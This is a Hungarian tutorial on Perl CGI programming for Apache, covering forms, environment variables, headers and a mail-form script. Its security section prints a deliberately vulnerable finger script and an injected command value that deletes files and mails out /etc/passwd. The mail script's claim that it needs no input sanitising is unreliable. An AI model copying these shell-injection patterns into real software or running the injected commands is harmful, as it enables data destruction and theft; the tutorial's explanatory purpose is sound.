Tartalmi kivonat
Haladó CGI programozás röviden 1. Bevezetés Itt a CGI programozás alapjairól olvashatsz. Hogy mi az a CGI? Ez a Common Gateway Interface rövidítése, ami egy mód arra, hogy dinamikus honlapokat készítsünk. Mindössze a Linux, WWW, és egy programozási nyelv alapszintű ismeretére van szükség ahhoz, hogy hasznosíthasd az ittlévőket. 2. CGI vagy Javascript? Sokan kérdezhetik, mi értelme lehet ilyesminek, hiszen Javascriptben csillogó-villogó alkalmazásokat készíthetünk. De a CGI egész másról szól A Javascript programok a kliens gépen, míg a CGI program a szerveren fut, így képes az ott lévő fájlokból olvasni, illetve oda írni. Így formokon keresztül képesek leszünk kommunikálni a felhasználóval, készíthetünk számlálót, vendégkönyvet, stb. 3. A Web szerver működéséről Mi történik, ha a browserben meg akarunk nézni egy honlapot? Legyen ez például a http://home.pagehu/dir/homepagehtml cím A böngésző először letölti a
html-t, majd esetlegesen a rajta lévő képeket, az alábbi módon. A kliensgép (azaz a miénk) telnet kapcsolatot létesít a homepagehu szerver 80-as portjával (ez a web alapértelmezett portja), és az itt láthatóhoz hasonló szöveget küld el: GET /dir/homepage.html HTTP/10 Accept: text/html Accept: image/gif User-Agent: Lynx/2.4 libwww/214 A legutolsó sor végére tesz még egy üres sort. A legfontosabb ezek közül az első sor A web szerver innen tudja, hogy melyik fájlt kell elküldeni. Amennyiben megtalálja, valami ilyesmit válaszol: HTTP/1.0 200 OK Date: Tuesday, 25-January-2000 19:27:00 GMT Server: Apache/1.0 MIME-version: 1.0 Content-type: text/html Content-Length: 123 <HTML><HEAD>My homepage</HEAD> <BODY>Welcome to my homepage</BODY> </HTML> Hogyan tudnánk elérni, hogy a programunk ebbe a mechanizmusba beleszóljon? Erre találták ki a CGI-t. A web szerveren be tudjuk állítani, hogy bizonyos könyvtárak, illetve
bizonyos kiterjesztések esetén ne a fájl tartalmát küldje el, hanem futtassa le azt, és a standard outputra írt adatokat küldje el. Apache szerver esetén az access.conf fájlban állíthatjuk ezt be, de mivel ehhez - normális esetben ;) - root jogkör kell, nem mindig tudjuk módosítani az alapértelmezést. éppen ezért van egy másik mód Ha a html könyvtárunkba (általaban ~/public html), vagy annak egy alkönyvtárába elhelyezünk egy .htaccess nevű fájlt, az alábbi tartalommal, már meg is oldottuk a problémát: AddType application/x-httpd-cgi .cgi Options ExecCGI Ettől kezdve az Apache tudni fogja, mit kell tennie az adott könyvtárban .cgi-re végződő fájlokkal A többi web szervernél is hasonló módon megy a konfigurálás, ezzel kapcsolatban itt találhatsz információkat. 4. Milyen nyelvet használjunk? Bármilyen nyelven írhatjuk CGI scriptünket, amihez létezik fordító, vagy interpreter linux alá, hiszen az a lényeg, hogy egy futtatható
állományt tudjunk készíteni. Mivel (nem) érdemes kezdeni? Írhatjuk például shell scriptben a programot, de ez nem ajánlott, hiszen a paraméterek kiértékelésénél pipeokkal kell dolgoznunk, és képzeljük csak el, mi történik, ha valaki a következő paraméterrel lep meg: ";rm *" . E mellett nem is tudunk igazán könnyedén dolgozni. Használhatjuk C/C++ nyelvek egyikét, így gyors programot írhatunk, de a megírása sokkal nagyobb energiát emészt fel, mintha például Perlben dolgoznánk. Itt bonyolult stringműveleteket hajthatunk végre egyetlen sorban, így programjaink rövidek, egyszerűek, áttekinthetőek lesznek, és e mellett rengeteg időt takaríthatunk meg. Egyetlen hátrányként azt említhetjük csak meg, hogy lassabb lesz így a script, de ez csak akkor jelent igazán gondot, ha sokan látogatják az oldalt. Óránként egy-két látogató miatt kár lenne C-ben oldalakat gépelni egy két soros perl program helyett. Érthető módon
a továbbiakban közölt példaprogramok perl nyelven íródtak. 5. Mire figyeljünk? A legelemibb hiba a jogosultságok rossz beállítása. A web szerver, és ezáltal a scriptünk is normális esetben biztonsági okokból - egy alacsony jogosultságú userként fut Ezért figyelni kell, hogy a script, illetve a script által kezelt fájlok milyen maszkkal rendelkeznek. 6. Az első próbálkozás Készítsünk valami kis egyszerű programot. Például írjuk ki a pontos időt! #!/usr/bin/perl print "Content-type: text/plain"," " ; $pontosido = `/bin/date` ; print "Udvozollek! A pontos ido : " , $pontosido , " " ; exit (0) ; Mi is történik itt? A "Content-type: . " rész a már ismertetett http fejléc része Arra való, hogy tudassuk a klienssel, (azaz a böngésző programmal), milyen típusú fájlt küldünk. Például: text/plain: Egyszerű szöveg text/html: HTML oldal image/gif, image/jpeg, stb: kép A
"Content-type"-on kívül még írhatunk néhány paramétert (ezekről később), a lényeg, hogy az egészet egy üres sor ( ) zárja le! A fejléc után jön maga az adat, jelen esetben /bin/date program outputját küldjük el a saját szövegünkbe illesztve. 7. Számláló készítése A legtöbben szeretnek számlálót rakni az oldalukra. CGI nélkül ez nem lenne megoldható, de így gyerekjáték! Íme egy egyszerű példa, ami mindössze egy számot ír ki. Persze elegánsabb képként elküldeni, de ezt mindenki oldja meg maga. #!/usr/bin/perl $counter="counter.dat"; print "Content-type: text/plain", " "; open(FILE, $counter) || die "Nem tudok olvasni a szamlalo-fajlbol. "; flock(FILE,2); $visitors=<FILE>; flock(FILE,8); close(FILE); $visitors++; open(FILE,">" . $counter) || die "Nem tudok irni a szamlalo-fajlba "; flock(FILE,2); print FILE $visitors; flock (FILE,8); close(FILE); print "
$visitors "; exit(0); 8. Környezeti változók Fontos lenne, hogy a kliens által küldött információkat láthassuk. Ezeket környezeti változókon keresztül kérdezhetjük le. Íme a legfontosabbak: SERVER NAME Szerver hostname/IP cím REQUEST METHOD Az oldal lekérésének módja, bővebben erről majd a formoknál PATH INFO Ha van egy CGI programunk (/cgi-bin/prg.cgi), akkor arra a kliens az alábbi módon is hivatkozhat: GET /cgi-bin/prg.cgi/dir1/dir2/stb Ekkor ez a változó a "/dir1/dir2/stb" értéket fogja tartalmazni. Így egy könyvtár vagy fájl nevét adhatjuk át paraméterként a programnak. QUERY STRING Ha a GET /cgi-bin/prg.cgi?param hivatkozással próbált a kliens adatot kérni, a kérdőjel utáni szöveg kerül ide. Helyes lenne a GET /cgibin/prgcgi/dir1/dir2/stb?param is, ekkor PATH INFO-t is kapnánk REMOTE HOST A kliens hostja. általában nem látjuk, ez a szerver beállításától függ REMOTE IP A kliens IP címe, ezt
mindig lekérdezhetjük CONTENT TYPE, CONTENT LENGTH Ha a kliens küld valamilyen adatot (újabb browserekkel például fájlokat tölthetünk fel ilyen módon), annak a típusa és hossza HTTP ACCEPT Milyen típusú adatokat képes a böngésző értelmezni HTTP USER AGENT A böngésző neve, verziószáma 9. Űrlapok a honlapon Képzeljük el az alábbi honlapot: <HTML> <HEAD><TITLE>Elso urlap</TITLE></HEAD> <BODY BGCOLOR="#7F7F7F"> <CENTER> <FORM ACTION="/cgi-bin/form.cgi" METHOD="GET"> Vezetéknév: <BR><INPUT TYPE="text" NAME="vezeteknev" SIZE=20> <P> Keresztnév: <BR><INPUT TYPE="text" NAME="keresztnev" SIZE=20> <P> <INPUT TYPE="submit" VALUE="Mehet"><INPUT TYPE="reset" VALUE="Mégsem"> </FORM> </CENTER> </BODY></HTML> A SUBMIT típusú gomb
megnyomása után a FORM tag ACTION kulcsszava után megadott címet próbálja a böngésző elérni. A paramétert úgy adja át, hogy a címhez hozzáilleszt egy kérdőjelet, és a paramétereket Ha a fenti formba beírjuk mondjuk azt, hogy Olajos Alajos, akkor az a /cgibin/form.cgi?vezeteknev=Olajos&keresztnev=Alajos címet próbálja a böngésző letölteni Próbáljuk kiértékelni az adatokat! #!/usr/bin/perl print "Content-type: text/html"," " ; print "<HTML><HEAD<" , " " , "" , " "; $query = $ENV{QUERY STRING}; ($param1, $param2) = split (/&/, $query); ($id1,$val1) = split (/=/, $param1); ($id2,$val2) = split (/=/, $param2); print "A kapott paraméterek: " " , $id2 , " = " , $val2 , " "; , " " , $id1 , " = " , $val1 , " print ""; exit (0) ; A paraméterben előforduló speciális karaktereket a böngésző
kódolva küldi. A space helyett + jelet, az egyéb speciális karakterek helyett azok hexadecimális kódját kapjuk, % jellel a szám előtt. 10. GET vagy POST? Mi a helyzet, ha sok adatot akarunk egy formon keresztül elküldeni? Nyilván nem járható az, hogy az URL-t tetszőlegesen megnyújtjuk. Ilyenkor a HTML-ben a formot az alábbi módon deklaráljuk: <FORM ACTION="/cgi-bin/form.cgi" METHOD="POST"> . </FORM> A POST metódus azt jelenti, hogy a böngésző nem a GET valami.cgi?paraméterek parancsot küldi, hanem POST valami.cgi, és a fejléc után kapjuk meg a paramétereket A CGI programban ilyenkor nem a QUERY STRING környezeti változóban kapjuk meg az adatokat, hanem - ugyan ilyen formában - a standard inputról olvashatjuk. A REQUEST METHOD változó a mindenkori metódus nevét tartalmazza (GET vagy POST), míg a CONTENT LENGTH az adatfolyam hosszát. 11. Biztonság Nagyon fontos kérdés, hogy mikor az ember CGI programokat ír,
soha ne feledkezzen meg a kockázati tényezőkről. Vegyünk egy egyszerű példát! #!/usr/bin/perl $user = $ENV {QUERY STRING} print "Content-type: text/html" , " "; print `/usr/bin/finger $user`; Itt a CGI-t x.cgi?username módon kell meghívni, és válaszul az adott ember finger infóját küldi el De mi van, ha egy gonosz látogató az alábbi sort adja paraméterül: ;rm *;mail -s "Itt jon a juzerlista" en@mail.cimemhu > /etc/passwd Bizony, ennek csúnya vége lesz! 12. Egyéb header paraméterek A Content-type-on kívül még elég sok paramétert küldhetünk. Lássunk Content-length A küldött adatok hossza. Így a browser tudja jelezni, hogy hol tart a letöltés Például: print "Content-type: text/html" , " "; print "Content-length: 28" , " "; hát egy párat! Státusz Küldhetünk egy ún. státusz kódot, hogy tudassuk a klienssel, sikeres volt-e a letöltés Íme néhány:
200 204 301 400 401 403 404 500 501 - kódok Success No Response Document Moved Bad Request Unauthorized Forbidden Not Found Internal Server Error Not Implemented Egy példa a használatra: print "Content-type: text/plain" , " "; print "Status: 400 Bad Request" , " "; print "Szerdan nem dolgozom!" A legfontosabb ezek közül talán a 204-es. Ha ezt küldjük el, a browser nem csinál semmit! Cache letiltás A legtöbb browser nem tölti mindig újra le az adott dokumnetumot, ha ismét meg kell mutatnia. Ez dinamikus lapok esetén gond lehet. A megoldás egyszerű: print "Content-type: text/html" , " "; print "Pragma: no-cache" , " "; Ekkor a böngésző minden egyes megjelenítéskor újra tölti a lapot. De van egy másik megoldás is Ha a lapon lévő információk egy bizonyos időpontig érvényesek, akkor a következő módon kell eljárnunk: print "Content-type: text/html"
, " "; print "Expires: Monday, 31-Jan-2000 17:17:17 GMT" , " "; átirányítás Megtehetjük azt is, hogy ne a programunk standard outputját küldje el a webszerver, hanem egy másik fájlt. Ennek akkor lehet haszna, ha például valamit csinál a script, és utána egy köszönő oldalt kell megmutatni a felhasználónak. Persze ebből a browser semmit sem lát Ilyenkor nem szabad Content-type headert küldeni! print "Location: /thanks.html" , " "; 13. Levélküldés Szinte minden honlapon van egy link, ahol levelet küldhetünk az oldal készítőjének. Ám az olvasó legtöbbször olyan browsert használ, ami nincs jól konfigurálva levélküldéshez. Kézenfekvőnek látszik, hogy készítsünk egy formot, aminek a tartalmát elküldjük majd a webmesternek (jelen esetben magunknak ;). Az itt lévő programot tekinthetjük az eddigiek összefoglalásának, hiszen minden lényeges dologból van benne egy kicsike. A
működéséről talán annyit, hogy ha GET metódussal hívódik (azaz egy sima link mutat rá), akkor kirajzolja csak a kérdőívet, míg POST-nál kiértékeli a kapott adatokat, majd elküldi a levelet. Mivel a sendmail közvetlenül hívódik, nem kell bajlódni a "gonosz" karakterekkel. #!/usr/bin/perl $webmaster = "webmaster@domain.com"; $subject = "Megjegyzes a honlappal kapcsolatban"; $request method = $ENV{REQUEST METHOD}; $sendmail = "/usr/lib/sendmail -t -n"; if ($request method eq "GET") { &mailform(); } else { &get params(*MAIL); if ( (!$MAIL{name}) || (!$MAIL{email}) ) { &hiba(500, "HIBA!", "Szükség van a feladó adataira!"); } else { &send mail(); &uzenet(); } } exit(0); sub mailform { print "Content-type: text/html", " "; print <<MAILFORM; <HTML> <HEAD><TITLE>Uzenet a webmesternek</TITLE></HEAD> <BODY>
<H1>Üzenet a webmesternek</H1> <P> <FORM METHOD="POST"> <PRE> Címzett: $webmaster Téma: $subject Feladó: <INPUT TYPE="text" NAME="name" SIZE=40> E-Mail: <INPUT TYPE="text" NAME="email" SIZE=40> <P> <TEXTAREA ROWS=10 COLS=60 NAME="message" WRAP=VIRTUAL></TEXTAREA> </PRE> <INPUT TYPE="submit" VALUE="Mehet"> <INPUT TYPE="reset" VALUE="Törlés"> </FORM> </BODY></HTML> MAILFORM } sub send mail { open (SENDMAIL, "| $sendmail"); print SENDMAIL <<MAILVEG; From: $MAIL{name} <$MAIL{email}> To: $webmaster Reply-To: $MAIL{email} Subject: $subject X-Remote-Host: $ENV{REMOTE ADDR} $MAIL{message} MAILVEG close (SENDMAIL); } sub uzenet { print <<UZENET; <HTML>
<HEAD><TITLE>Elkuldve</TITLE></HEAD> <BODY> Az üzenetet postáztam a webmesternek! </BODY></HTML> UZENET } sub hiba { local ($status, $ok, $magyarazat) = @ ; print "Content-type: text/html", " "; print "Status: ", $status, " ", $ok, " "; print <<ERROR; <TITLE>MAILER HIBA!</TITLE> <H1>Hiba!</H1> <H1>$magyarazat</H1> ERROR exit(1); } sub get params { local (*param) = @ ; local ($query,@parok,$par,$nev,$ertek); $query = <STDIN>; @parok = split ( /&/ , $query ); foreach $par (@parok) { ( $nev , $ertek ) = split (/=/, $par); $ertek =~ tr/+/ /; $ertek =~ s/%([dA-Fa-f][dA-Fa-f])/pack ("C", hex ($1))/eg; $param{$nev} = $ertek; } } 14. Felhasznált források Shishir Gundavaram: CGI Programming on the World Wide Web (OReilly & Associates, Inc.) No és persze rengeteg tapasztalat. 15. Hasznos linkek Web szerver
információk NCSA httpd CERN Server Apache Server FAQ Perl FAQ CGI Security FAQ WWW FAQ Specifikációk CGI HTML URL 16. A készítőkről A dokumentumot Vizsy Krisztián és Szabó Viktor készítette a Linux haladó specire, az 1999/2000-es tanév első félévében